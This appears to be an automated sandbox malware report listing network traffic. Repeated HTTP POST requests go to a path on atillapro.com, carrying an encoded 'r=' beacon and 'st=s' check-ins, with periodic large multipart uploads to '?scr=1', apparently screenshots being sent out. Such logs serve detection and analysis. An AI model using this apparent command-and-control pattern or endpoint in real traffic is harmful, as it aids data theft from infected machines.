Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----MTA0MDMzHost: atillapro.comContent-Length: 104185Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5Nzg=Host: atillapro.comContent-Length: 98130Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5Nzg=Host: atillapro.comContent-Length: 98130Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----MTAxMjUyHost: atillapro.comContent-Length: 101404Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
